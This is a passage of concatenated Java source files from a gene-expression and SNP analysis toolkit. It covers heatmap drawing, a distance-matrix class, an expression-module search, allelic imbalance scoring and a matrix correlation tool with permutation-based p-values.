fill(bgColor,alpha); noStroke(); rect((colAnnotX1+j*boxWidth),(colAnnotY1+i*colAnnotBandwidth),boxWidth,colAnnotBandwidth); } } }else{ float d = (float)(1.0/(annotEntry.size()-1)); Map <String, Integer> annot2color = new HashMap<String, Integer>(); for(int j = 0 ; j < annotEntry.size(); j++){ annot2color.put(annotEntry.get(j),(Integer)MyColor.lerpColor(colorForAnnotBand1,colorForAnnotBand2,colorForAnnotBand3, d*j, HSB)); } for(int j = 0; j < annotString.size(); j++){ if(!annotString.get(j).equals("")){ fill(annot2color.get(annotString.get(j)),alpha); noStroke(); rect((colAnnotX1+j*boxWidth),(colAnnotY1+i*colAnnotBandwidth),boxWidth,colAnnotBandwidth); }else{ fill(bgColor,alpha); noStroke(); rect((colAnnotX1+j*boxWidth),(colAnnotY1+i*colAnnotBandwidth),boxWidth,colAnnotBandwidth); } } } fill(0,alpha); textSize(colAnnotLabelFontSize); textAlign(LEFT, CENTER); text(annotType, (float)(profileX2 + spaceBetweenRowLablelAndProfile), (float)(colAnnotY1+(i+0.5)*colAnnotBandwidth)); } } protected void calculateRowLabelSpaceWidth(ClusteredMyMat M){ textFont(font); textSize(rowLabelFontSize); float max = -(float)Double.MAX_VALUE; for(String s: M.getRowNames()){ float tmp = textWidth(s); if(tmp > max){ max = tmp; } } if(colAnnotation!=null){ textSize(colAnnotLabelFontSize); for(String s: ((ClusteredMyMatWithAnnotation)M).getColAnnotationTypes()){ float tmp = textWidth(s); if(tmp > max){ max = tmp; } } } rowLabelSpaceWidth = max; } protected void calculateColLabelSpaceWidth(ClusteredMyMat M){ textFont(font); textSize(colLabelFontSize); float max = -(float)Double.MAX_VALUE; for(String s: M.getColNames()){ float tmp = textWidth(s); if(tmp > max){ max = tmp; } } if(rowAnnotation!=null){ textSize(rowAnnotLabelFontSize); for(String s: ((ClusteredMyMatWithAnnotation)M).getRowAnnotationTypes()){ float tmp = textWidth(s); if(tmp > max){ max = tmp; } } } colLabelSpaceWidth = max; } } <file_sep>/src/utility/Dist.java package utility; import java.util.*; import java.util.zip.DataFormatException; import java.io.*; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import tensor.ClusteredOrder3Tensor; public class Dist implements Serializable{ private static final long serialVersionUID = -1890276595674423636L; private double M[][]; private Map<String, Integer> name2index; private int n; private List<String> name; private double diagonalElement = 0; public List<String> getNames(){ return name; } public boolean containsName(String name){ return name2index.containsKey(name); } public int size(){ return n; } public void setDiagonalElement(double d){ diagonalElement = d; } public double get(int i, int j){ if(i >= n || j >= n ){ throw new IndexOutOfBoundsException(); } if(i > j){ return M[i][j]; } if(j > i){ return M[j][i]; } return diagonalElement; } public double get(String s, String t){ int i = name2index.get(s); int j = name2index.get(t); if(i > j){ return M[i][j]; } if(j > i){ return M[j][i]; } return diagonalElement; } public void set(String s, String t, double d){ int i = name2index.get(s); int j = name2index.get(t); if(i > j){ M[i][j] = d; } if(j > i){ M[j][i] = d; } } public void set(int i, int j, double d){ if(i >= n || j >= n){ throw new IndexOutOfBoundsException(); } if(i > j){ M[i][j] = d; } if(j > i){ M[j][i] = d; } } public Dist(List <String> name){ n = name.size(); this.name = new ArrayList<String>(name); name2index = new HashMap<String, Integer>(); int i; for(i =0; i< n; i++){ name2index.put(name.get(i),i); } M = new double[n][]; for(i = 0; i < n; i++){ M[i] = new double[i]; } for(i=0;i<n;i++){ for(int j=0;j<i;j++){ M[i][j] = 0; } } } /*type must be 'e'(euclideanDist), 'c' (pearsonCorrelation), * or 'C' (pearsonCorrelationForNormarizedList) */ public Dist(MyMat m, char type){ n = m.rowSize(); name = new ArrayList<String>(m.getRowNames()); name2index = new HashMap<String, Integer>(); int i,j; for(i =0; i< n; i++){ name2index.put(name.get(i),i); } M = new double[n][]; for(i = 0; i < n; i++){ M[i] = new double[i]; } switch(type){ case 'c': MyMat copy_m = new MyMat(m); copy_m.normalizeRows(); for(i = 0; i < n; i++){ for(j = 0; j < i; j++){ M[i][j] = MyFunc.pearsonCorrelationForNormarizedList(copy_m.getRow(i),copy_m.getRow(j)); } } setDiagonalElement(1); break; case 'C': for(i = 0; i < n; i++){ for(j = 0; j < i; j++){ M[i][j] = MyFunc.pearsonCorrelationForNormarizedList(m.getRow(i),m.getRow(j)); } } setDiagonalElement(1); break; case 'e': for(i = 0; i < n; i++){ for(j = 0; j < i; j++){ M[i][j] = MyFunc.euclideanDist(m.getRow(i),m.getRow(j)); } } break; default: throw new IllegalArgumentException("type must be 'c','C', or 'e'"); } } public Dist(String infile) throws IOException, DataFormatException{ name2index = new HashMap<String, Integer>(); BufferedReader inputStream = new BufferedReader(new FileReader(infile)); String line; Set <String> name_set = new HashSet<String>(); String[] tmp = new String[3]; while((line = inputStream.readLine()) != null){ if(line.charAt(0) == '#'){ continue; } tmp = line.split("\t"); if(tmp.length != 3){ throw new DataFormatException("Dist: file format is wrong!"); } name_set.add(tmp[0]); name_set.add(tmp[1]); } name = new ArrayList<String>(name_set); Collections.sort(name); int i,j; n = name.size(); for(i=0;i<n;i++){ name2index.put(name.get(i),i); } M = new double[n][]; boolean seen[][] = new boolean[n][]; for(i = 0; i < n; i++){ M[i] = new double[i]; seen[i] = new boolean[i]; } inputStream = new BufferedReader(new FileReader(infile)); while((line = inputStream.readLine()) != null){ if(line.charAt(0) == '#'){ continue; } tmp = line.split("\t"); i = name2index.get(tmp[0]); j = name2index.get(tmp[1]); if(i > j){ M[i][j] = (Double.valueOf(tmp[2])); seen[i][j] = true; } if(j > i){ M[j][i] = (Double.valueOf(tmp[2])); seen[j][i] = true; } } for(i=0;i<n;i++){ for(j=0;j<i;j++){ if(seen[i][j] == false){ throw new DataFormatException("Dist: file format is wrong!"); } } } inputStream.close(); } public Dist(Dist D){ n = D.n; name2index = new HashMap<String, Integer>(D.name2index); name = new ArrayList<String>(D.name); int i,j; for(i = 0; i < n; i++){ M[i] = new double[i]; } for(i=0;i<n;i++){ for(j=0;j<i;j++){ M[i][j] = D.M[i][j]; } } } public List<Double> asList(){ List <Double> v = new ArrayList<Double>(); int i,j; for(i=0;i<n;i++){ for(j=0;j<i;j++){ v.add(M[i][j]); } } return v; } public void print(String outfile) throws IOException { PrintWriter os = new PrintWriter(new FileWriter(outfile)); int i,j; for(i=0; i<n; i++){ for(j=0;j<i;j++){ os.println(name.get(i) + "\t" + name.get(j) + "\t" + get(i,j)); } } os.close(); } public void print() throws IOException { PrintWriter os = new PrintWriter(System.out); int i,j; for(i=0; i<n; i++){ for(j=0;j<i;j++){ os.println(name.get(i) + "\t" + name.get(j) + "\t" + get(i,j)); } } os.close(); } public String toString(){ StringBuffer S = new StringBuffer(); int i,j; for(i=0; i<n; i++){ for(j=0;j<i;j++){ S.append(name.get(i) + "\t" + name.get(j) + "\t" + get(i,j) + "\n"); } } return S.toString(); } public String toStringInTabFormat(){ StringBuffer S = new StringBuffer(); int i,j; for(i=0; i<n; i++){ S.append("\t" + name.get(i)); } S.append("\n"); for(i=0; i<n; i++){ S.append(name.get(i)); for(j=0;j<n;j++){ S.append("\t" + get(i,j)); } S.append("\n"); } return S.toString(); } public Dist getSubDist(List <String> names){ Dist D = new Dist(names); for(String s: names){ for(String t: names){ if(s.compareTo(t) > 0){ D.set(s,t,get(s,t)); } } } return D; } public void printAsBinary(String outfile) throws FileNotFoundException, IOException{ ObjectOutputStream out = new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream(outfile))); out.writeObject(this); out.close(); } public static Dist readFromBinary(String infile) throws FileNotFoundException, IOException, ClassNotFoundException{ ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new FileInputStream(infile))); Dist D = (Dist)in.readObject(); in.close(); return D; } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("c", "cor", false, "correlation"); options.addOption("b", "bin", true, "write binary"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp("Dist [options] expfile", options); return; } List <String> argList = commandLine.getArgList(); if(argList.size() != 1){ formatter.printHelp("Dist [options] expfile", options); return; } Dist D; if(commandLine.hasOption("c")){ D = new Dist(new MyMat(argList.get(0)), 'c'); }else{ D = new Dist(new MyMat(argList.get(0)), 'e'); } if(commandLine.hasOption("b")){ D.printAsBinary(commandLine.getOptionValue("b")); }else{ D.print(); } } } <file_sep>/src/eem/CoherenceBasedEEMsearch.java package eem; import java.util.*; import java.io.*; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.print.resources.serviceui; import sun.reflect.Reflection; import utility.Dist; import utility.MyException; import utility.MyFunc; import utility.MyMat; import utility.StopWatch; public class CoherenceBasedEEMsearch extends AbstractEEMsearch{ MyMat Exp; Dist Cor; //boolean absoluteCorrelation; double absoluteRadius; double relativeRadius; int coreGeneSize; DistConverter distConverter; interface DistFunc { double get(List <Double> a, List <Double> b); double get(String a, String b); } private class Correlation implements DistFunc{ public double get(List <Double> a, List <Double> b){ return 1 - MyFunc.pearsonCorrelationForNormarizedList(a,b); } public double get(String a, String b){ return 1 - Cor.get(a,b); } } private class AbsoluteCorrelation implements DistFunc{ public double get(List <Double> a, List <Double> b){ return 1 - Math.abs(MyFunc.pearsonCorrelationForNormarizedList(a,b)); } public double get(String a, String b){ return 1 - Math.abs(Cor.get(a,b)); } } DistFunc distfunc; public CoherenceBasedEEMsearch(CoherenceBasedEEMsearch C, boolean deep){ super(C); //absoluteCorrelation = C.absoluteCorrelation; absoluteRadius = C.absoluteRadius; relativeRadius = C.relativeRadius; coreGeneSize = C.coreGeneSize; Exp = C.Exp; Cor = C.Cor; if(deep){ //distfunc = absoluteCorrelation?new AbsoluteCorrelation():new Correlation(); distfunc = new Correlation(); distConverter = new DistConverter(this); }else{ distfunc = C.distfunc; distConverter = C.distConverter; } } public CoherenceBasedEEMsearch(MyMat E){ super(); itrForPvalue2Calculation = 300; Pvalue1Cutoff = -Math.log10(0.05); //absoluteCorrelation = false; absoluteRadius = 0.0; relativeRadius = 0.0; coreGeneSize = 10; originalExp = E; Exp = new MyMat (E); Exp.normalizeRows(); Cor = null; allGenes = Exp.getRowNames(); distfunc =new Correlation(); distConverter = new DistConverter(this); }; protected void setEEM(){ if(seedGeneSets == null || seedGeneSets.isEmpty()){ throw new MyException("seedGeneSets must be set!"); } if(Cor == null){ calculateCor(); } if(absoluteRadius == 0.0){ setRelativeRadius(0.05); } for(Map.Entry<String,List<String>> s: seedGeneSets.entrySet()){ EEM e = new CoherenceBasedEEM(this, s.getValue()); eems.put(s.getKey(), e); seeds.add(s.getKey()); } } public void setCoreGeneSize(int i){ if(i>3){ coreGeneSize = i; } } //public void useAbsoluteCorrelation(){ //absoluteCorrelation = true; //distfunc =new AbsoluteCorrelation(); //} //public void useNomalCorrelation(){ //absoluteCorrelation = false; //distfunc =new Correlation(); //} public void setCor(Dist D){ if(!D.getNames().containsAll(Exp.getRowNames())){ throw new MyException("Correlation data must include data for all genes in expression data"); } Cor = D; } public void calculateCor(){ System.err.println("Calculating correlations..."); Cor = new Dist(Exp, 'C'); } public void setAbsoluteRadius(double r){ if(Cor == null){ calculateCor(); } absoluteRadius = r; relativeRadius = distConverter.convertAbsolute2relativeDist(r); } public void setRelativeRadius(double r){ if(Cor == null){ calculateCor(); } relativeRadius = r; absoluteRadius = distConverter.convertRelative2absoluteDist(r); } public String toString(){ List <String> tmp = new ArrayList<String>(); tmp.add("CoherenceBasedEEM"); //tmp.add("absoluteCorrelation= " + absoluteCorrelation); tmp.add("coreGeneSize=" + coreGeneSize); tmp.add("absoluteRadius= " + absoluteRadius); tmp.add("relativeRadius= " + relativeRadius); tmp.add("maxGeneSetSize= " + maxSeedGeneSize); tmp.add("minGeneSetSize= " + minSeedGeneSize); tmp.add("itrForPvalue2Calculation= " + itrForPvalue2Calculation); tmp.add("Pvalue1Cutoff= " + Pvalue1Cutoff); tmp.add("seeds=" + seeds.size()); tmp.add("candidates=" + candidates.size()); return MyFunc.join(" ", tmp); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("A", "absrad", true, "absolute radius"); options.addOption("R", "relrad", true, "relative radius"); options.addOption("C", "cor", true, "correlation file"); options.addOption("p", "pcut", true, "first P value cutoff"); options.addOption("i", "itr", true, "itration for second P value calculation"); options.addOption("a", "absolute", false, "use absolute correlation"); options.addOption("o", "outfile", true, "output file"); options.addOption("m", "mingeneset", true, "min geneset size"); options.addOption("M", "maxgeneset", true, "max geneset size"); options.addOption("e", "expmodset", true, "expression module set file"); options.addOption("l", "log", true, "logFile"); options.addOption("r", "recnull", false, "recycle null distribution"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] expfile gmtfile", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 2){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] expfile gmtfile", options); return; } CoherenceBasedEEMsearch CE = new CoherenceBasedEEMsearch(new MyMat(argList.get(0))); CE.setGeneSets(MyFunc.readGeneSetFromGmtFile(argList.get(1))); if(commandLine.hasOption("C")){ CE.setCor(Dist.readFromBinary(commandLine.getOptionValue("C"))); } if(commandLine.hasOption("c")){ CE.setCoreGeneSize(Integer.valueOf(commandLine.getOptionValue("c"))); } if(commandLine.hasOption("p")){ CE.setPvalue1Cutoff(Double.valueOf(commandLine.getOptionValue("p"))); } if(commandLine.hasOption("i")){ CE.setItrForPvalue2Calculation(Integer.valueOf(commandLine.getOptionValue("i"))); } //if(commandLine.hasOption("a")){ // CE.useAbsoluteCorrelation(); //} if(commandLine.hasOption("m")){ CE.setMinGeneSetSize(Integer.valueOf(commandLine.getOptionValue("m"))); } if(commandLine.hasOption("M")){ CE.setMaxGeneSetSize(Integer.valueOf(commandLine.getOptionValue("M"))); } if(commandLine.hasOption("A")){ CE.setAbsoluteRadius(Double.valueOf(commandLine.getOptionValue("A"))); } if(commandLine.hasOption("R")){ CE.setRelativeRadius(Double.valueOf(commandLine.getOptionValue("R"))); } if(commandLine.hasOption("r")){ CE.recycleNullDistribution(); } CE.perform(); ExpressionModuleSet ems = CE.getExpressionModuleSet(); if(commandLine.hasOption("o")){ PrintWriter os = new PrintWriter(new FileWriter(commandLine.getOptionValue("o"))); for(String s: ems.getIds()){ os.println(ems.get(s)); } os.close(); }else{ for(String s: ems.getIds()){ System.out.println(ems.get(s)); } System.out.close(); } if(commandLine.hasOption("e")){ ems.writeToFile(commandLine.getOptionValue("e")); } if(commandLine.hasOption("l")){ PrintWriter os = new PrintWriter(new FileWriter(commandLine.getOptionValue("l"))); os.print(CE.getLog()); os.close(); } } } <file_sep>/bin/snp/old/.svn/text-base/SAIRICsimplePaired.java.svn-base package snp.old; import java.io.*; import java.util.*; import org.apache.commons.cli.*; import snp.ProbeInfo; import snp.Segment; import snp.SegmentContainer; import snp.SegmentContainerMap; import snp.SegmentContainer.SegmentIterator; import sun.reflect.Reflection; import utility.MyFunc; public class SAIRICsimplePaired extends SAIRICsimple { protected SegmentContainerMap BAF0; protected Set <String> sampleSet; public SAIRICsimplePaired(){}; public SAIRICsimplePaired(SegmentContainerMap baf, SegmentContainerMap baf0, ProbeInfo pi) throws IOException { BAF = baf; probeInfo = pi; probeList = new ArrayList<String>(probeSet()); BAF0 = baf0; sampleSet = new HashSet<String>(); for(String s:BAF.keySet()){ if(BAF0.containsKey(s)){ sampleSet.add(s); } } } protected Set<String> sampleSet(){ return sampleSet; } protected void calculateScores(){ scores = new LinkedHashMap<String, Double>(); for(String p: probeSet()){ scores.put(p,0.0); } poissonBinomialP = new HashMap<String, Double>(); for(String s: sampleSet()){ poissonBinomialP.put(s,0.0); } for(String s: sampleSet()){ SegmentContainer bafSC = BAF.get(s); SegmentContainer.SegmentIterator bafSCitr = bafSC.iterator(); SegmentContainer bafSC0 = BAF0.get(s); SegmentContainer.SegmentIterator bafSC0itr = bafSC0.iterator(); Segment S = bafSCitr.next(); Segment S0 = bafSC0itr.next(); for(String p: probeSet()){ int chr = probeInfo.chr(p); int pos = probeInfo.pos(p); while(chr > S.chr()){ S = bafSCitr.next(); } while(pos > S.end()){ S = bafSCitr.next(); } while(chr > S0.chr()){ S0 = bafSCitr.next(); } while(pos > S0.end()){ S0 = bafSCitr.next(); } double baf = S.value() - S0.value(); if((countLess & baf<= AICutoff)| (!countLess & baf>= AICutoff)){ scores.put(p, scores.get(p)+1); poissonBinomialP.put(s, poissonBinomialP.get(s) + 1); } } } for(String s: sampleSet()){ poissonBinomialP.put(s, poissonBinomialP.get(s)/probeSet().size()); } System.err.println("Ratio of velues above cutoff: " + MyFunc.mean(new ArrayList<Double>(poissonBinomialP.values()))); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("c", "cutoff", true, "cutoff for AI call"); options.addOption("o", "outfile", true, "output file name"); options.addOption("t", "thinpi", true, "thin down probe info"); options.addOption("i", "interval", true, "interval for psuedo probe info"); options.addOption("O", "optcutoff", true, "optimize cutoff with [lower:upper:numberOfCutoffs]"); options.addOption("l", "less", false, "count less than cutoff"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine = null; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] SegFile SegFile2 probeTsvFile", options); return ; } List <String> argList = commandLine.getArgList(); if(!(argList.size() == 2 | argList.size() == 3)){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] SegFile SegFile2 probeTsvFile", options); return; } SegmentContainerMap BAF = new SegmentContainerMap(argList.get(0)); SegmentContainerMap BAF2 = new SegmentContainerMap(argList.get(1)); ProbeInfo PI; List<String> sample = new ArrayList<String>(BAF.keySet()); if(argList.size() == 3 ){ PI = ProbeInfo.getProbeInfoFromTsvFile(argList.get(2)); if(commandLine.hasOption("t")){ PI.thinDown(Integer.valueOf(commandLine.getOptionValue("t"))); } PI.filter(BAF.get(sample.get(0))); }else{ int interval = 10000; if(commandLine.hasOption("i")){ interval = Integer.valueOf(commandLine.getOptionValue("i")); } PI = ProbeInfo.generatePsuedoProbeInfo(interval); PI.filter(BAF.get(sample.get(0))); } SAIRICsimplePaired SAIRIC = new SAIRICsimplePaired(BAF,BAF2,PI); if(commandLine.hasOption("c")){ SAIRIC.AICutoff = Double.valueOf(commandLine.getOptionValue("c")); } if(commandLine.hasOption("l")){ SAIRIC.countLess = true; } if(commandLine.hasOption("O")){ List <String>tmp = MyFunc.split(":",commandLine.getOptionValue("O")); if(tmp.size()==3){ SAIRIC.AIUpperCutoff = Double.valueOf(tmp.get(1)); SAIRIC.AILowerCutoff = Double.valueOf(tmp.get(0)); SAIRIC.numberOfTriedCutoffs = Integer.valueOf(tmp.get(2)); SAIRIC.optimizeCutoffs(); }else{ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] SegFile probeTsvFile", options); System.exit(1); } } SAIRIC.perform(); Writer os; if(commandLine.hasOption("o")){ os = new BufferedWriter(new FileWriter(commandLine.getOptionValue("o"))); }else{ os = new PrintWriter(System.out); } os.write("Probe" + "\t" + "Chrom" + "\t" + "BasePair" + "\t" + "score" + "\t" + "pvalue" + "\t" + "qvalue" + "\n"); for(String s: PI.getProbeSet()){ os.write(s + "\t" + PI.chr(s) + "\t" + PI.pos(s) + "\t" + SAIRIC.scores.get(s) + "\t" + SAIRIC.getMinusLogPvalues().get(s) + "\t" + SAIRIC.getMinusLogQvalues().get(s) + "\n"); } os.flush(); } } <file_sep>/bin/utility/.svn/text-base/MatrixCorrelation.java.svn-base package utility; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; public class MatrixCorrelation { private MyMat M1; private MyMat M2; private MyMat Pearson; private MyMat FisherZ; private Integer itrForNullDist = 100000; private MyMat Pvalue; private MyMat Qvalue; private Double PvalueCutoff = null; private Double QvalueCutoff = null; private boolean minusLogScale = false; private boolean useExpReg = false; private boolean supressPcalculation = false; public MatrixCorrelation(MyMat m1, MyMat m2) { M1 = new MyMat(m1); M2 = new MyMat(m2); if(MyFunc.isect(m1.getRowNames(), m2.getColNames()).isEmpty()){ } else if(!MyFunc.isect(m1.getRowNames(), m2.getColNames()).isEmpty()){ M1.transpose(); } else if(!MyFunc.isect(m2.getRowNames(), m1.getColNames()).isEmpty()){ M2.transpose(); } else if(!MyFunc.isect(m1.getRowNames(), m2.getRowNames()).isEmpty()){ M1.transpose(); M2.transpose(); } else { throw new MyException("expressionProfile and sampleLabels must have common rows or columns!"); } M1.normalizeRows(); M2.normalizeRows(); Pearson = new MyMat(M1.getRowNames(), M2.getRowNames()); FisherZ = new MyMat(M1.getRowNames(), M2.getRowNames()); Pvalue = new MyMat(M1.getRowNames(), M2.getRowNames()); Qvalue = new MyMat(M1.getRowNames(), M2.getRowNames()); } public MatrixCorrelation(MyMat m1){ M1 = new MyMat(m1); M1.normalizeRows(); Pearson = new MyMat(M1.getRowNames(), M1.getRowNames()); FisherZ = new MyMat(M1.getRowNames(), M1.getRowNames()); Pvalue = new MyMat(M1.getRowNames(), M1.getRowNames()); Qvalue = new MyMat(M1.getRowNames(), M1.getRowNames()); } public void setItrForNullDist(int i){ itrForNullDist = i; } public void calculate(){ calculateCorrelation(); if(supressPcalculation == false){ calculatePvalue(); calculateQvalue(); } } public void useExpRegression(){ useExpReg = true; } public void calculateCorrelation(){ for(String s: Pearson.rowname){ for(String t: Pearson.colname){ double c; if(M2 == null){ if(s.equals(t)){ Pearson.set(s, t, 1); FisherZ.set(s, t, Double.MAX_VALUE); continue; } if(s.compareTo(t) < 0){ continue; } c = MyFunc.pearsonCorrelationForNormarizedList(M1.getRow(s), M1.getRow(t)); }else{ c = MyFunc.pearsonCorrelationForNormarizedList(M1.getRow(s), M2.getRow(t)); } double z; Pearson.set(s, t, c); if(c >= 1){ z = Double.MAX_VALUE; }else if(c <= -1){ z = -Double.MAX_VALUE; }else{ z = 0.5*Math.log((1+c)/(1-c)); } Pearson.set(s,t, c); FisherZ.set(s,t, z); if(M2 == null){ Pearson.set(t,s, c); FisherZ.set(t,s, z); } } } } public void calculatePvalue(){ for(String s: Pearson.rowname){ List <Double> nullDist = new ArrayList<Double>(); while(nullDist.size() <itrForNullDist){ MyMat randomM = new MyMat((M2 != null)?M2:M1); randomM.shuffleCols(); for(String t: randomM.rowname){ double c = Math.abs(MyFunc.pearsonCorrelationForNormarizedList(M1.getRow(s), randomM.getRow(t))); if(c >= 1){ nullDist.add(Double.MAX_VALUE); }else{ nullDist.add(0.5*Math.log((1+c)/(1-c))); } } } Collections.sort(nullDist); Collections.reverse(nullDist); if(useExpReg){ MyFunc.Density D = new MyFunc.Density(nullDist); double minX = MyFunc.percentile(nullDist, 0.6); double maxX = MyFunc.percentile(nullDist, 0.95); double d = (maxX - minX) / 500; List <Double> X = new ArrayList<Double>(); double x; for(x = minX; x <= maxX; x += d ){ X.add(x); } List <Double> Y = D.estimate(X); ExpRegression ER = new ExpRegression(); ER.setTrainingData(X, Y); List <Double> powers = new ArrayList<Double>(); double minPower = 1.0; double maxPower = 3.0; for( double p = minPower; p <= maxPower; p += 0.1){ powers.add(p); } try { ER.optimizePowerOfX(powers); } catch (MyException e) { e.printStackTrace(); } /*for(double p = 0.9; p < 0.990001; p += 0.01){ double t = MyFunc.percentile(nullDist, p); double P = ER.integrate(t, upperLimit); System.err.println(1-p + "\t" + P + "\t" + t + "\t" + upperLimit); }*/ double i; double upperLimit = MyFunc.mean(nullDist)*50; for(String t: Pearson.colname){ if(M2 == null){ if(s.equals(t)){ Pvalue.set(s, t, 0); } if(s.compareTo(t) < 0){ continue; } } for(i=0;i<nullDist.size() && nullDist.get((int)i) > Math.abs(FisherZ.get(s, t));i++){} double P = i / nullDist.size(); if(P < 0.05){ if( Math.abs(FisherZ.get(s, t)) >= upperLimit){ P = Double.MIN_VALUE; }else{ P = ER.integrate(Math.abs(FisherZ.get(s, t)), upperLimit); } } Pvalue.set(s,t, P); if(M2 == null){ Pvalue.set(t,s, P); } } }else{ double i; for(String t: Pearson.colname){ if(M2 == null){ if(s.equals(t)){ Pvalue.set(s, t, 0); } if(s.compareTo(t) < 0){ continue; } } for(i=0;i<nullDist.size() && nullDist.get((int)i) > Math.abs(FisherZ.get(s, t));i++){} if(i==0){ i=1; } double P = i / nullDist.size(); Pvalue.set(s,t, P); if(M2 == null){ Pvalue.set(t,s, P); } } } } } public void setPvalueCutoff(double d){ PvalueCutoff = d; } public void setQvalueCutoff(double d){ QvalueCutoff = d; } public void outputInMinusLogScale(){ minusLogScale = true; } public double getPvalue(String ID1, String ID2){ return Pvalue.get(ID1, ID2); } public double getQvalue(String ID1, String ID2){ return Qvalue.get(ID1, ID2); } public Map<String, Double> getPvalueMap(){ return asMap(Pvalue); } public Map<String, Double> getQvalueMap(){ return asMap( Qvalue); } public Map<String, Double> getPearsonMap(){ return asMap(Pearson); } public Map<String, Double> getFisherZMap(){ return asMap(FisherZ); } private Map <String, Double> asMap(MyMat M){ Map <String, Double> m = new HashMap<String, Double>(); if(M2 != null){ for(String s: M.rowname){ for(String t: M.colname){ m.put(s + "\t" + t,M.get(s,t)); } } }else{ List <String> tmp = M.getRowNames(); for(String s: tmp){ for(String t: tmp){ if(s.compareTo(t)> 0){ m.put(s + "\t" + t,M.get(s,t)); } } } } return m; } public void calculateQvalue(){ Map <String, Double> PvalueMap = Pvalue.asMap(); Map <String, Double> QvalueMap = MyFunc.calculateStoreyQvalue(PvalueMap); for(Map.Entry<String, Double> e: QvalueMap.entrySet()){ List <String> tmp = MyFunc.split("\t", e.getKey()); Qvalue.set(tmp.get(0), tmp.get(1), e.getValue()); if(M2 == null ){ Qvalue.set(tmp.get(1), tmp.get(0), e.getValue()); } } if(M2 == null ){ List <String> tmp = new ArrayList<String>(M1.getRowNames()); for(int i = 0, n = tmp.size(); i <n ;i++){ Qvalue.set(tmp.get(i), tmp.get(i), Double.MIN_VALUE); } } } public String toString(){ StringBuffer S = new StringBuffer("\t\tP value\tQ value\tPearson\tFisherZ\n"); Map <String, Double> PvalueMap = getPvalueMap(); Map <String, Double> QvalueMap = getQvalueMap(); Map <String, Double> PearsonMap = getPearsonMap(); Map <String, Double> FisherZMap = getFisherZMap(); List<String> keys = MyFunc.sortKeysByAscendingOrderOfValues(PvalueMap); for(String s: keys){ List <String> tmp = new ArrayList<String>(); tmp.add(s); double p; if(minusLogScale){ p = (PvalueMap.get(s)==0)?Double.MAX_VALUE: -Math.log10(PvalueMap.get(s)); }else{ p = PvalueMap.get(s); } if(PvalueCutoff != null && (minusLogScale?(p < PvalueCutoff):(p > PvalueCutoff))){ continue; } double q; if(minusLogScale){ q = (QvalueMap.get(s)==0)?Double.MAX_VALUE: -Math.log10(QvalueMap.get(s)); }else{ q = QvalueMap.get(s); } if(QvalueCutoff != null && (minusLogScale?(q < QvalueCutoff):(q > QvalueCutoff))){ continue; } tmp.add(Double.toString(p)); tmp.add(Double.toString(q)); tmp.add(Double.toString(PearsonMap.get(s))); tmp.add(Double.toString(FisherZMap.get(s))); S.append(MyFunc.join("\t", tmp) + "\n"); } return S.toString(); } public MyMat getPvalueMatrix(){ if(minusLogScale){ MyMat tmp = new MyMat(Pvalue.getRowNames(), Pvalue.getColNames()); for(String s: Pvalue.getRowNames()){ for(String t: Pvalue.getColNames()){ tmp.set(s, t,(Pvalue.get(s, t)==0)?Double.MAX_VALUE:-Math.log10(Pvalue.get(s, t))); } } return tmp; }else{ return Pvalue; } } public MyMat getQvalueMatrix(){ if(minusLogScale){ MyMat tmp = new MyMat(Qvalue.getRowNames(), Qvalue.getColNames()); for(String s: Qvalue.getRowNames()){ for(String t: Qvalue.getColNames()){ tmp.set(s, t,(Qvalue.get(s, t)==0)?Double.MAX_VALUE:-Math.log10(Qvalue.get(s, t))); } } return tmp; }else{ return Qvalue; } } public MyMat getPearsonMatrix(){ return Pearson; } public MyMat getFisherZMatrix(){ return FisherZ; } public static void main(String[] args) throws Exception { Options options = new Options(); options.addOption("l", "minuslog", false, "output in minus log scale"); options.addOption("p", "pcutoff", true, "overlap p-value cutoff"); options.addOption("q", "pcutoff", true, "overlap q-value cutoff"); options.addOption("P", "pmat", false, "get p-value matrix"); options.addOption("Q", "qmat", false, "get q-value matrix"); options.addOption("c", "cmat", false, "get correlation score matrix"); options.addOption("i", "itrnull", true, "# of iteration for null dist genetation"); options.addOption("r", "regress", false, "use regression for p-value calculation"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] gmt_file gmt_file", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 2 && argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] gmt_file gmt_file", options); return; } MatrixCorrelation MC; if(argList.size() != 1){ MC = new MatrixCorrelation(new MyMat(argList.get(0)), new MyMat(argList.get(1))); }else{ MC = new MatrixCorrelation(new MyMat(argList.get(0))); } if(commandLine.hasOption("l")){ MC.outputInMinusLogScale(); } if(commandLine.hasOption("i")){ 